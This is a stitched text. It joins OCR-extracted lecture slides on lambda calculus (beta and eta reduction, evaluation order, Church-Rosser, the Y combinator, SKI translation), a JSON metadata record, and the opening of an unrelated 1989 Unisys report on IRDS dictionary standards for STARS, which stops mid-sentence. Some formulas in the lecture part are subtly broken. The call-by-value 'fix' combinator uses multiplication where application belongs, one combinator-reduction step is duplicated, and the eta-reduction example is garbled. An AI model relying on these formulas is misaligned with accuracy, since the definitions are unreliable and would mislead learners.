$$\rightarrow [y/x] (\lambda z . x z) \quad \beta\text{-reduction}$$ $$\rightarrow (\lambda z . y z)$$ $$= y \quad \eta\text{-reduction}$$ Beta Reduction Beta reduction is the computational engine of the lambda calculus: Define: \( I \equiv \lambda x . x \) Now consider: \[ I \ I = (\lambda x . x) (\lambda x . x) \rightarrow [(\lambda x . x)/x]x \\ = (\lambda x . x) \quad \text{\(\beta\)-reduction} \\ = I \quad \text{substitution} \] Name Capture - Syntactic substitution will not always work: \[(\lambda x . \lambda y . x y) y \rightarrow [y/x](\lambda y . x y) \quad \beta\text{-reduction}\n\% \neq (\lambda y . y y) \quad \text{incorrect!}\n - Since \( y \) is already bound in \( \lambda y . x y \), we cannot directly substitute \( y \) for \( x \), because the \( y \) inside term \( \lambda y . x y \) is different from the variable \( y \) applied as argument to \( (\lambda x . \lambda y . x y) \). Substitution We must define substitution carefully to avoid name capture: \[ \begin{align*} [e/x]x &= e \\ [e/x]y &= y & \text{if } x \neq y \\ [e/x](e_1 \ e_2) &= ([e/x]e_1 \ [e/x]e_2) \\ [e/x](\lambda x . e_1) &= (\lambda x . e_1) \\ [e/x](\lambda y . e_1) &= (\lambda y . [e/x] e_1) & \text{if } x \neq y \text{ and } y \notin \text{fv}(e) \\ [e/x](\lambda y . e_1) &= (\lambda z . [e/x] [z/y] e_1) & \text{if } x \neq y \text{ and } z \notin (\text{fv}(e) \cup \text{fv}(e_1)) \end{align*} \] Consider: \[ (\lambda x . ((\lambda y . x \ (\lambda x . x)) \ x) \ y) \rightarrow [y/x]((\lambda y . x) \ (\lambda x . x)) \ x \\ = ((\lambda z . y) \ (\lambda x . x)) \ y \] Eta Reduction - $\eta$-reductions allows one to remove “redundant lambdas.” - Suppose that $f$ is a closed expression (i.e., $x$ does not occur free in $f$). Then: $$\lambda x . f x \ y \rightarrow ([y/x]f ) ([y/x]x) = f \ y \ \beta\text{-reduction}$$ More generally, this will hold whenever $x$ does not occur free in $f$. In such cases, we can always rewrite $(\lambda x . f x)$ as $f$. Normal Forms - A lambda expression is in **normal form** if it can no longer be reduced by the \( \beta \)- or \( \eta \)-reduction rules. - But not all lambda expressions have normal forms! \[ \Omega = (\lambda x . x x) (\lambda x . x x) \rightarrow [(\lambda x . x x)/x] (x x) \] \[ = (\lambda x . x x) (\lambda x . x x) \quad \text{\( \beta \)-reduction} \] \[ \rightarrow (\lambda x . x x) (\lambda x . x x) \quad \text{\( \beta \)-reduction} \] \[ \rightarrow (\lambda x . x x) (\lambda x . x x) \quad \text{\( \beta \)-reduction} \] \[ \rightarrow \ldots \] - The reduction of a lambda term to a normal form is analogous to a “Turing machine halts” or a “program terminates.” Evaluation Order - Most programming languages are strict, that is, all expressions passed to a function call are evaluated before control is passed to the function (e.g. Java). - Most modern functional languages (e.g. Haskell), on the other hand, use lazy evaluation, that is, expressions are only evaluated when they are needed. \textbf{Applicative-order reduction:} \textit{square} \( (2 + 5) \) \\ \( \rightarrow \) \textit{square} 7 \\ \( \rightarrow \) 7 \( \times \) 7 \\ \( \rightarrow \) 49 \textbf{Normal-order reduction:} \textit{square} \( (2 + 5) \) \\ \( \rightarrow \) \( (2 + 5) \times (2 + 5) \) \\ \( \rightarrow \) 7 \( \times \) \( (2 + 5) \) \\ \( \rightarrow \) 7 \( \times \) 7 \\ \( \rightarrow \) 49 Applicative-Order Reduction - Motivation: - Modeling call-by-value in programming languages - In function calls, evaluate arguments then invoke function - In the lambda-calculus, this means: - In \( (e_1 \ e_2) \), reduce \( e_2 \) to normal form using applicative order reduction - Then reduce \( e_1 \) to normal form using applicative order reduction - If \( e_1 \) is a lambda abstraction, do beta reduction, and reduce the result to normal form using applicative order reduction Syntax makes it easy - Write expression using fully parenthesized notation. - Always perform rightmost innermost beta reduction by repeatedly scanning for rightmost innermost (left parenthesis) occurrence of \(((\lambda x . e_1) e_2)\) terms. - This includes reduction of primitives, e.g. (add 1 2). Applicative-Order Example Consider: $$((\lambda x . (\lambda y . \text{add } y y) (\text{mul } x x)) (\text{sub } 3 1))$$ Applicative order reduction gives: $$((\lambda x . (\lambda y . \text{add } y y) (\text{mul } x x)) (\text{sub } 3 1))$$ $$((\lambda x . (\lambda y . \text{add } y y) (\text{mul } x x)) 2)$$ $$((\lambda x . \text{add } (\text{mul } x x) (\text{mul } x x)) 2)$$ $$(\text{add } (\text{mul } 2 2) (\text{mul } 2 2))$$ $$(\text{add } (\text{mul } 2 2) 4)$$ $$(\text{add } 4 4)$$ 8 Applicative-Order – Head Normal Form Consider: $$\left( (\lambda x \ . \ (\lambda y \ . \ \text{add} \ y \ y) \ (\text{mul} \ x \ x)) \ (\text{sub} \ 3 \ 1) \right)$$ Applicative order reduction gives: $$\left( (\lambda x \ . \ (\lambda y \ . \ \text{add} \ y \ y) \ (\text{mul} \ x \ x)) \ (\text{sub} \ 3 \ 1) \right)$$ $$\left( (\lambda x \ . \ (\lambda y \ . \ \text{add} \ y \ y) \ (\text{mul} \ x \ x)) \ 2 \right)$$ $$\left( (\lambda y \ . \ \text{add} \ y \ y) \ (\text{mul} \ 2 \ 2) \right)$$ $$\left( (\lambda y \ . \ \text{add} \ y \ y) \ 4 \right)$$ $$\text{add} \ 4 \ 4$$ 8 Normal-Order Example Consider: $$((\lambda x . (\lambda y . \text{add } y \ y) \ (\text{mul } x \ x)) \ (\text{sub } 3 \ 1))$$ Normal-order reduction gives: $$((\lambda x . (\lambda y . \text{add } y \ y) \ (\text{mul } x \ x)) \ (\text{sub } 3 \ 1))$$ $$((\lambda y . \text{add } y \ y) \ (\text{mul } (\text{sub } 3 \ 1) \ (\text{sub } 3 \ 1)))$$ $$(\text{add } (\text{mul } (\text{sub } 3 \ 1) \ (\text{sub } 3 \ 1)) \ (\text{mul } (\text{sub } 3 \ 1) \ (\text{sub } 3 \ 1)))$$ $$(\text{add } (\text{mul } 2 \ 2) \ (\text{mul } 2 \ 2))$$ $$(\text{add } 4 \ 4)$$ 8 The Church-Rosser Property The diamond property - confluence: “If an expression can be evaluated at all, then it can be evaluated by consistently using normal-order evaluation. If an expression can be evaluated in several different orders (mixing normal-order and applicative-order reduction), then all of these evaluation orders yield the same result.” Confluence – Implication Evaluation order “does not matter” in the lambda calculus. However, applicative order reduction may not terminate, even if a normal form exists! \[ \text{(λx . y) (\text{(λx . x x) (λx . x x)})} \] Applicative-order reduction ⇒ (λx . y) (\text{(λx . x x) (λx . x x)}) ⇒ (λx . y) (\text{(λx . x x) (λx . x x)}) ⇒ . . . Normal-order reduction ⇒ y Recursion - Most programming languages support the definition of recursive abstractions: - Records (to construct linked lists) - Procedure (to implement inductively specified data types) - Mutual dependent data structures like classes - Recursion is a challenging mechanism and may often lead to complications in program understanding. A Recursive Problem - Suppose we want to define the operation plus using only the operators increment and decrement. We may write: \[ \text{plus} = \lambda n \ m . \ \text{if} \ n \ \text{then} \ (\text{plus} \ (\text{dec} \ n) \ (\text{inc} \ m)) \ \text{else} \ m \] - Unfortunately this is not a definition, since we are trying to use "plus" before it is defined. - Although recursion is fundamental to programming, it is not a primitive. Therefore, we must find a way to "program" it! Recursive Functions As Fixed Points - However, we can obtain a closed expression by abstracting over plus: \[ \text{rplus} = \lambda \text{n m . if n then (plus (dec n) (inc m)) else m} \] - Now, let “fplus” be the actual addition function we want. We must pass it to “rplus” as a parameter before we can perform any additions. - \((\text{rplus fplus})\) is the function we want. In other words, we are looking for an fplus such that: \[ \text{rplus fplus} \leftrightarrow \text{fplus} \] That is, we are searching for the fixed-point of “rplus”. Fixed-Points In general, a fixed-point of a function is a value in the function’s domain, which is mapped to itself by the function. Therefore, a fixed-point of a function $f$ is a value $p$ such that $(f \ p) = p$. Examples: $factorial \ 1 = 1$ $factorial \ 2 = 2$ $fibonacci \ 0 = 0$ $fibonacci \ 1 = 1$ However, not all functions have exactly one fixed point: \[ inc = \lambda n . \ add \ n \ 1 \] has none. Fixed-Point Theorem Fixed-point Theorem: For every $F$ there exists a fixed-point $X$ such that $F X \leftrightarrow X$. Proof: Let $$Y \equiv \lambda f . (\lambda x . f (x x)) (\lambda x . f (x x))$$ Now consider: $$X \equiv Y F \rightarrow (\lambda x . F (x x)) (\lambda x . F (x x))$$ $$\rightarrow F ((\lambda x . F (x x)) (\lambda x . F (x x)))$$ $$\rightarrow F X$$ The “$Y$ combinator” can always be used to find a fixed-point of an arbitrary lambda expression, if such a fixed-point exists. plus = Y rplus rplus = λplus n m . if n then (plus (dec n) (inc m)) else m Plus is a fixed-point of rplus. By the fixed point theorem, we can take: \[ \text{plus} = Y \text{rplus} \] Unfolding Recursive Lambda Expressions \[ \text{plus } 1 \ 1 \\ = \ (Y \ rplus) \ 1 \ 1 \\ \rightarrow \ rplus \ plus \ 1 \ 1 \\ \rightarrow \ \text{if } 1 \ \text{then} \ (\text{plus} \ (\text{pred} \ 1) \ (\text{succ} \ 1)) \ \text{else} \ 1 \\ \rightarrow \ (\text{plus} \ (\text{pred} \ 1) \ (\text{succ} \ 1)) \\ \rightarrow \ (rplus \ plus \ (\text{pred} \ 1) \ (\text{succ} \ 1)) \\ \rightarrow \ \text{if} \ (\text{pred} \ 1) \ \text{then} \ (\text{plus} \ (\text{pred} \ (\text{pred} \ 1)) \ (\text{succ} \ (\text{succ} \ 1)))) \ \text{else} \ (\text{succ} \ 1) \\ \rightarrow \ \text{if} \ 0 \ \text{then} \ (\text{plus} \ (\text{pred} \ (\text{pred} \ 1)) \ (\text{succ} \ (\text{succ} \ 1)))) \ \text{else} \ (\text{succ} \ 1) \\ \rightarrow \ (\text{succ} \ 1) \\ \rightarrow \ 2 \] The fixed-point operator $Y$ is useless in a call-by-value setting, since the expression $Y \ g$ diverges for any $g$. In call-by-value settings we use, therefore, the operator $\text{fix}$: $$ \text{fix} \equiv \lambda f . (\lambda x . f (\lambda y . x \times y)) (\lambda x . f (\lambda y . x \times y)) $$ Unfolding Recursive Lambda Expressions II \[ \text{plus} \ 1 \ 1 \\ = (\text{fix} \ rplus) \ 1 \ 1 \\ \rightarrow (h \ h) \ 1 \ 1 \\ \quad \text{where } h = (\lambda x . \ rplus (\lambda y . x \ x \ y)) \\ \rightarrow rplus \ \text{fct} \ 1 \ 1 \\ \quad \text{where } \text{fct} = \lambda y . h \ h \ y \\ \rightarrow \text{if} \ 1 \ \text{then} \ (\text{fct} \ 0 \ 2) \ \text{else} \ 1 \\ \rightarrow \text{fct} \ 0 \ 2 \\ \rightarrow h \ h \ 0 \ 2 \\ \rightarrow rplus \ \text{fct} \ 0 \ 2 \\ \rightarrow \text{if} \ 0 \ \text{then} \ (\text{fct} \ (\text{pred} \ 0) \ (\text{succ} \ 2)) \ \text{else} \ 2 \\ \rightarrow 2 \] SKI Combinator Reduction - SKI combinator reduction is an implementation technique that yields normal-order (lazy) evaluation in the most natural way. - A lambda calculus expression (that denotes a program) can be transformed into an equivalent combinator expression that contains only constants and applications. Moreover, this combinator expression will contain neither any lambda abstractions nor any variables. - The reduction of combinator expressions is based on a combinator calculus that does not have a beta reduction, hence term rewriting does not need to manipulate variables and environments explicitly. **Combinators & Combinator Reduction** <table> <thead> <tr> <th>Combinator</th> <th>Name</th> <th>Reduction</th> </tr> </thead> <tbody> <tr> <td>I = ( \lambda x . x )</td> <td>Identity</td> <td>I ( x = x )</td> </tr> <tr> <td>K = ( \lambda x . \lambda y . x )</td> <td>Constant function</td> <td>K ( x \ y = x )</td> </tr> <tr> <td>S = ( \lambda x . \lambda y . \lambda z . x \ z (y \ z) )</td> <td>Distribution function</td> <td>S ( x \ y \ z = x \ z (y \ z) )</td> </tr> <tr> <td>B = ( \lambda x . \lambda y . \lambda z . x \ (y \ z) )</td> <td>Composition function</td> <td>B ( x \ y \ z = x \ (y \ z) )</td> </tr> <tr> <td>C = ( \lambda x . \lambda y . \lambda z . x \ z \ y )</td> <td>Swap function</td> <td>C ( x \ y \ z = x \ z \ y )</td> </tr> </tbody> </table> The first three combinators I, K, and S are sufficient to transform every lambda expression into an equivalent combinator expression. A Combinator Language Syntax: \[ \text{<expression>} ::= \text{k} \quad ; \text{constant} \\ \quad | \text{S} \\ \quad | \text{K} \\ \quad | \text{I} \\ \quad | (\text{<expression>} \text{<expression>}) \] Translation Function Let $e$ be a lambda calculus expression. Then the function $U(e)$ translates $e$ into an equivalent combinator expression: - $U(e) = e$ ; $e$ does not contain any $\lambda$ - $U(\lambda x . e) = [x](U(e))$ - $U(e_1 e_2) = U(e_1) \ U(e_2)$ The function \([x](e)\) is defined as follows: \[ \begin{align*} [x](k) & = K \, k \\ [x](x) & = I \\ [x](y) & = K \, y \\ [x](e_1, e_2) & = S \, [x](e_1) \, [x](e_2) \end{align*} \] Building a Combinator Expression \[ U( \lambda x \cdot \lambda y \cdot x \ y ) = [x](U(\lambda y \cdot x \ y)) \] \[ = [x][y](U(\lambda x \ y)) \] \[ = [x][y](x \ y) \] \[ = [x](S \ [y](x) \ [y](y)) \] \[ = [x](S \ (K \ x) \ I) \] \[ = S \ [x](S \ (K \ x)) \ [x](I) \] \[ = S \ (S \ [x](S) \ [x](K \ x)) \ (K \ I) \] \[ = S \ (S \ (K \ S) \ (S \ [x](K) \ [x](x))) \ (K \ I) \] \[ = S \ (S \ (K \ S) \ (S \ (K \ K) \ I)) \ (K \ I) \] Reducing a Combinator Expression \[(\lambda x . \lambda y . x \ y) \ A \ B \to A \ B\] \[ \begin{align*} (S \ (S \ (K \ S) \ (S \ (K \ K) \ I)) \ (K \ I)) \ A \ B & \quad ; \ S \ x \ y \ z = x \ z \ (y \ z) \\ = & \ K \ S \ A \ (S \ (K \ K) \ I \ A) \ (K \ I \ A) \ B & \quad ; \ S \ x \ y \ z = x \ z \ (y \ z) \\ = & \ K \ S \ A \ (S \ (K \ K) \ I \ A) \ (K \ I \ A) \ B & \quad ; \ K \ x \ y = x \\ = & \ K \ K \ A \ ((K \ I \ A) \ B) & \quad ; \ S \ x \ y \ z = x \ z \ (y \ z) \\ = & \ K \ (I \ A) \ B \ ((K \ I \ A) \ B) & \quad ; \ S \ x \ y \ z = x \ z \ (y \ z) \\ = & \ I \ A \ ((K \ I \ A) \ B) & \quad ; \ K \ x \ y = x \\ = & \ A \ ((K \ I \ A) \ B) & \quad ; \ I \ x = x \\ = & \ A \ (I \ B) & \quad ; \ K \ x \ y = x \\ = & \ A \ B & \quad ; \ I \ x = x \end{align*} \]
{"Source-Url": "http://www.ict.swin.edu.au/personal/mlumpe/HIT3315/Lectures/LambdaCalculus.pdf", "len_cl100k_base": 8285, "olmocr-version": "0.1.53", "pdf-total-pages": 58, "total-fallback-pages": 0, "total-input-tokens": 86380, "total-output-tokens": 10664, "length": "2e13", "weborganizer": {"__label__adult": 0.0004987716674804688, "__label__art_design": 0.0004432201385498047, "__label__crime_law": 0.0004382133483886719, "__label__education_jobs": 0.0014476776123046875, "__label__entertainment": 0.00012755393981933594, "__label__fashion_beauty": 0.00023615360260009768, "__label__finance_business": 0.0003056526184082031, "__label__food_dining": 0.000720977783203125, "__label__games": 0.0007009506225585938, "__label__hardware": 0.0011377334594726562, "__label__health": 0.0012350082397460938, "__label__history": 0.00040531158447265625, "__label__home_hobbies": 0.00016498565673828125, "__label__industrial": 0.0007233619689941406, "__label__literature": 0.0008382797241210938, "__label__politics": 0.00041866302490234375, "__label__religion": 0.0009469985961914062, "__label__science_tech": 0.10443115234375, "__label__social_life": 0.0001729726791381836, "__label__software": 0.005084991455078125, "__label__software_dev": 0.8779296875, "__label__sports_fitness": 0.0005145072937011719, "__label__transportation": 0.0009088516235351562, "__label__travel": 0.00026798248291015625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 25354, 0.02498]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 25354, 0.21394]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 25354, 0.6951]], "google_gemma-3-12b-it_contains_pii": [[0, 539, false], [539, 846, null], [846, 1459, null], [1459, 1733, null], [1733, 1985, null], [1985, 2391, null], [2391, 2837, null], [2837, 3173, null], [3173, 3901, null], [3901, 4538, null], [4538, 4805, null], [4805, 5064, null], [5064, 5444, null], [5444, 5589, null], [5589, 6049, null], [6049, 6400, null], [6400, 6916, null], [6916, 7192, null], [7192, 7519, null], [7519, 7975, null], [7975, 8691, null], [8691, 8883, null], [8883, 9297, null], [9297, 9488, null], [9488, 9819, null], [9819, 10205, null], [10205, 10729, null], [10729, 11245, null], [11245, 11548, null], [11548, 12024, null], [12024, 12701, null], [12701, 13095, null], [13095, 13785, null], [13785, 14117, null], [14117, 14514, null], [14514, 15010, null], [15010, 15313, null], [15313, 15816, null], [15816, 16412, null], [16412, 16983, null], [16983, 17339, null], [17339, 17715, null], [17715, 18059, null], [18059, 18552, null], [18552, 19106, null], [19106, 19523, null], [19523, 20026, null], [20026, 20212, null], [20212, 21009, null], [21009, 21319, null], [21319, 21948, null], [21948, 22567, null], [22567, 23480, null], [23480, 23688, null], [23688, 23950, null], [23950, 24134, null], [24134, 24568, null], [24568, 25354, null]], "google_gemma-3-12b-it_is_public_document": [[0, 539, true], [539, 846, null], [846, 1459, null], [1459, 1733, null], [1733, 1985, null], [1985, 2391, null], [2391, 2837, null], [2837, 3173, null], [3173, 3901, null], [3901, 4538, null], [4538, 4805, null], [4805, 5064, null], [5064, 5444, null], [5444, 5589, null], [5589, 6049, null], [6049, 6400, null], [6400, 6916, null], [6916, 7192, null], [7192, 7519, null], [7519, 7975, null], [7975, 8691, null], [8691, 8883, null], [8883, 9297, null], [9297, 9488, null], [9488, 9819, null], [9819, 10205, null], [10205, 10729, null], [10729, 11245, null], [11245, 11548, null], [11548, 12024, null], [12024, 12701, null], [12701, 13095, null], [13095, 13785, null], [13785, 14117, null], [14117, 14514, null], [14514, 15010, null], [15010, 15313, null], [15313, 15816, null], [15816, 16412, null], [16412, 16983, null], [16983, 17339, null], [17339, 17715, null], [17715, 18059, null], [18059, 18552, null], [18552, 19106, null], [19106, 19523, null], [19523, 20026, null], [20026, 20212, null], [20212, 21009, null], [21009, 21319, null], [21319, 21948, null], [21948, 22567, null], [22567, 23480, null], [23480, 23688, null], [23688, 23950, null], [23950, 24134, null], [24134, 24568, null], [24568, 25354, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 25354, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 25354, null]], "pdf_page_numbers": [[0, 539, 1], [539, 846, 2], [846, 1459, 3], [1459, 1733, 4], [1733, 1985, 5], [1985, 2391, 6], [2391, 2837, 7], [2837, 3173, 8], [3173, 3901, 9], [3901, 4538, 10], [4538, 4805, 11], [4805, 5064, 12], [5064, 5444, 13], [5444, 5589, 14], [5589, 6049, 15], [6049, 6400, 16], [6400, 6916, 17], [6916, 7192, 18], [7192, 7519, 19], [7519, 7975, 20], [7975, 8691, 21], [8691, 8883, 22], [8883, 9297, 23], [9297, 9488, 24], [9488, 9819, 25], [9819, 10205, 26], [10205, 10729, 27], [10729, 11245, 28], [11245, 11548, 29], [11548, 12024, 30], [12024, 12701, 31], [12701, 13095, 32], [13095, 13785, 33], [13785, 14117, 34], [14117, 14514, 35], [14514, 15010, 36], [15010, 15313, 37], [15313, 15816, 38], [15816, 16412, 39], [16412, 16983, 40], [16983, 17339, 41], [17339, 17715, 42], [17715, 18059, 43], [18059, 18552, 44], [18552, 19106, 45], [19106, 19523, 46], [19523, 20026, 47], [20026, 20212, 48], [20212, 21009, 49], [21009, 21319, 50], [21319, 21948, 51], [21948, 22567, 52], [22567, 23480, 53], [23480, 23688, 54], [23688, 23950, 55], [23950, 24134, 56], [24134, 24568, 57], [24568, 25354, 58]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 25354, 0.05081]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
9cddfb0a8fcf30cdc889edd0b7e041792ac5d985
SDRL Q14-02021-A Q14 - Standards Development Plan Information Resources Dictionary System (IRDS): Analysis and Recommendations Prepared for Software Technology for Adaptable Reliable Systems (STARS) Unisys STARSCenter Shipboard and Ground Systems Group Reston, Virginia Prepared by Unisys Corporation Defense Systems System Development Group P.O. Box 517, Paoli, PA 19301-0517 Contract No. F19628-88-D-0031 IDWO P.O. 010412 April 7, 1989 1 Executive Summary An Information Resources Dictionary System (IRDS) provides an inventory system for the information environment of an enterprise and is intended to be the principal tool for managing the information resources of an enterprise. Its strongest advocates proclaim than an IRDS is central to a software engineering environment and that its uses include the modeling of the software engineering lifecycle and configuration control through the development, integration, and execution environments. The STARS Interface Standards Task has investigated the IRDS standards and their meaning to STARS. This paper describes the IRDS and the current status of IRDS standardization efforts. It reports on early, federally funded users of the IRDS standard and on research which involves the intersection of Ada Programming Support Environments (APSE) and the IRDS standard. The original work within this report is the use of recently published guidelines for the comparison of semantic data models to analyze the models of CAIS-A, the ANSI IRDS standard, and the STARS EOM. The results of this study are a set of conclusions concerning the importance of the IRDS standards to STARS. In general, this paper is concerned with the role STARS should play as an Ada advocate within the ANSI IRDS standards committee, the use of CAIS-A nodes for an IRDS implementation, and the relationship between IRDS interfaces and the STARS Environment Object Manager (EOM). We conclude: - Although there are competing proposals within the American and international IRDS standards groups, there are signs that eventually a single world-wide standard will be adopted. - Ada package specifications for the IRDS standard would not only provide access to IRDSs, they can, directly or indirectly, provide access to relational databases. - STARS should take a wait and see attitude toward the development of Ada/IRDS bindings. STARS should provide low-level support for Ada/IRDS standardization through development of, and participation in, an Ada/IRDS interest group. - The study which is presented in the Appendix to this paper, raises issues concerning the granularity of objects which would be stored in the dictionary databases. - The EOM model is more powerful than the IRDS model and it is in line with NASA researcher's recommendations for the modeling of objects and phases in the software engineering lifecycle. STARS EOM research might eventually feed into a second generation IRDS standard based on objects. 2 Background Initially the Information Resources Dictionary System (IRDS) was developed for passive description of the metadata of an enterprise. The metadata would describe the information resources of the enterprise: its users, processes, data, and so forth. The National Bureau of Standards initiated work on a Dictionary Standard in 1980. This was before the development of CASE tools, before object management became a buzzword, and certainly without considering the developing CAIS. Most of the IRDS literature, published by NIST, reflects this original vision of the Dictionary System. The IRDS seems to be many things to many people. Descriptions of the IRDS seem to vary depending upon the issues of the describer. IBM and its CASE vendors describe a storehouse or repository which will provide data interchange among CASE tools and access to application databases. Space station researchers emphasize the modeling power of entity-relationship models for organizing system resources, and for the enforcement of precise, abstract interface specifications between life cycle phases. Within the ANSI committee there is interest in solving problems of model integration and using the IRDS within distributed environments. Federal users envision MIS support ranging from a simple passive dictionary containing metadata about an enterprise's information resources to the ambitious Army Data Encyclopedia project. Within STARS, the Boeing Q24 Object Management Task has used the IRDS command language as a model for the object definition language and object manipulation language of the STARS Environment Object Manager (EOM). The author of this paper points out that a services interface to the IRDS offers the Ada community an alternative to SQL as an interface to relational databases. So the IRDS, which was not developed for the purpose of CASE interchange, nor for the purpose of providing object definition or object manipulation languages, nor for the purpose of providing schema integration for distributed databases, and without regard for Ada Programming Support Environments, or providing a new way for Ada to access relational databases is now viewed in all of these contexts. These visions are overlapping, not contradictory. The first subsection describes the features of the IRDS, the second summarizes the status of various standardization efforts. ### 2.1 Features of the IRDS A short paper based on the November, 1988 Keynote address at the Seventh International Conference on Entity-Relationship Approach provides an excellent, concise overview of the history, features, and uses of the IRDS [Winkler 88]. The IRDS data levels are shown in Figure 1. In this layered architecture each level defines and describes the level below it. The levels are: 1) the fundamental level, 2) the Information Resources Dictionary (IRD) definition level, 3) the IRD level, and 4) the application level. The fundamental level is fixed by the model of the standard. The ANSI standard, X3-138 defines a required "minimal IRD Schema" at the IRD definition level. X3-138 also defines an optional "functional IRD Schema" which can be provided by implementers and adopted by users. However, most IRDS users will define an IRD Schema appropriate to their enterprise, making use of the IRD fundamental level. Thus the IRDS is self descriptive and extensible. Extensibility is a two edged sword. It allows the development of IRD definitions appropriate to the application, but it also raises portability problems. IRDS with different IRD Schemas will be incompatible. The model integration problem will apply to both the IRD and IRD definition levels. Figure 1: ISO Figure showing IRDS levels The IRDS framework is shown in Figure 2. The framework [SC21N2642 88], also known as the reference model, shows that the services interface is the central specification, which will be used by the front-end tools and applications to describe, retrieve, and manipulate two, or possibly three levels of data: the IRD, the IRD schema, and (with a directory system) the application database. The services interface corresponds to an Ada abstract interface. Ada language bindings to the interface would be package specifications. Application programs and man-machine interfaces as well as the command language and panel interfaces would be built on top of the services interface. Man-machine interfaces to the services interface provide a mechanism for supplementing (graphical interfaces) and ignoring (other panels, other languages) the command language and panel interfaces which have been standardized by X3-138 [ANSI 88]. X3-138 is a stand-alone IRDS standard, without a services interface. It is the only IRDS standard which has been adopted, either nationally or internationally. Modularity is another feature of X3-138. The standard has a number of optional modules. Implementations of the standard will differ in that different sets of modules will be implemented. This will be another source of portability problems. Four control facilities are required in X3-138: versioning, life cycle phases, quality-indicators and views. X3-138's optional modules include the IRDS security module and the extensible life cycle phase facility. A system may have several uncontrolled life cycle phases generally representing non-operational stages of a system life cycle such as specification, design, or development. The single controlled life cycle phase is for entities in the IRD that describe data in operational systems. Additionally, there is a single archived life cycle phase. Last, but certainly not least, the IRDS provides entity-relationship (E-R) modeling. The ANSI E-R approach provides for definition and manipulation of dictionary metadata which would describe both SQL and NDL databases. The ISO E-R model is closely tied to SQL. International disagreement over the data model has slowed down IRDS standardization of both the international and American standards. 2.2 Standardization of the IRDS 2.2.1 History of IRDS standardization Advocacy is a critical aspect of standards development. One question for our study of the IRDS Standard has been to consider the importance of the standard for Ada software engineering and whether to recommend STARS funding of Ada advocacy within the IRDS committee. The National Institute of Standards and Technology (NIST nee NBS) has been the primary advocate of IRDS standardization since 1980. The references listed are only a subset of the NBS/NIST publications. [Goldfine 88c,Law 88,Goldfine 88b,Goldfine 88a,Newton 87] Another important advocate is AOG Systems, a company that developed the ANSI IRDS standard, X3-138, under contract to NIST. The standard was adopted by ANSI in October, 1988. It will become a FIPS sometime this year. The developer of the ANSI proposal for a services interface Figure 2 Major IRDS Interfaces [X3H4 88] is Pansophic Systems. This advocacy was financed privately by the company which has developed a commercial implementation of X3-138 where the command and panel interfaces use this services interface. The ISO standardization effort started with an ANSI base document. ISO proceeded with a draft proposed standard for the framework. ISO does not intend to standardize command language or panel interfaces. The developing ISO and ANSI standards were compatible until October, 1987, when the British Standards Institute proposed a different flavor of E-R model for the IRDS. The specter of incompatible ANSI and ISO standards has slowed progress on the IRDS standardization efforts. Last fall, IBM began lobbying, nationally and internationally, for acceptance of the interface specifications to the IBM repository as the IRDS services interface standard. In January, the ANSI committee agreed that IBM should bring its base document to its April meeting. Meanwhile, the conflicting ANSI and ISO proposals are proceeding through the standardization process at a reduced pace. Following standardization there must be conformance testing. This is a serious and difficult issue for NIST and it has not yet been addressed. As reported in Section 3.2, one federal user is already planning an implementation of the services interface without conformance to X3-138. While the ANSI services interface will augment the X3-138 standard, conformance to X3.138 will not be required to claim conformance to the ANSI services interface. 2.2.2 Three Proposals for a Services Interface ISO is developing a services interface [SC21WG3N669 88] using its data model. The ISO version of the services interface is closely tied to SQL, and it could provide an SQL data definition language. Technical and political issues combine to make the ANSI standard the one of interest to STARS. The ANSI proposal (the Pansophic services interface) is less closely tied to SQL. Only Pascal language bindings have been specified, but development of Ada language bindings would be relatively straightforward. Both the ISO and ANSI services interfaces provide a complete set of error messages. Thus an Ada/IRDS services interfaces can be used as a front end to relational DBMSs with consistent package specifications for error handling, data definition, and data manipulations. However, this is a step back from a declarative relational language such as SQL. IBM claims that its proposal provides an interface that requires little or no navigation through the E-R network to be performed by the tool developer. IBM recommends a physical view which is implementer defined, a conceptual view which is an E-R semantic network, and a tool view which is a hierarchical view of the conceptual view's E-R network. The IBM proposal suggests template trees which are storable, sharable objects which define the external view, data processing order, and entity precedence for calls to the services interface. The IBM repository is a part of the IBM Systems Applications Architecture [SAA 88]. An IBM spokesman discussing standard interface specifications to the IBM repository has been quoted as saying, "As the standard evolves, we expect our standard to comply." That IBM understatement is an interesting way of putting it since IBM is working, both nationally and internationally, to move the standard bodies toward compliance with IBM. A mapping from the ISO conceptual model to the tool view might serve to resolve the data model differences between ISO and ANSI. 2.2.3 Future direction of the IRDS and other standards There are other activities within X3H4 besides work on the services interface. Some of these efforts are toward standards which would augment the X3-138 standard. These include the development of an export/import facility, the reference model document, and a naming convention verification module. Other standardization efforts are aimed toward the development of a second generation IRDS standard. An IRDS with n-ary relationships, a thesaurus view of the IRDS, an IRDS in distributed environments, and an object-oriented IRDS have all been mentioned in the context of "IRDS-2." Addressing the problem of model integration is a priority for many of the X3H4 members. A proposal for model integration includes a detailed presentation of the issues with a model integration bibliography pointing to original work and a survey of schema integration methodologies[X3H1489016, Batini 86]. The proposed work item is the development of a technical report which would outline the state of the art and specify the minimum functionality that would be required for a tool that purported to provide computer-aided support for the model integration process. The results of the technical report would be the basis for further standardization efforts. There are other standards groups working on communications between CASE products, conceptual schema models, and distributed processing. There is some overlap 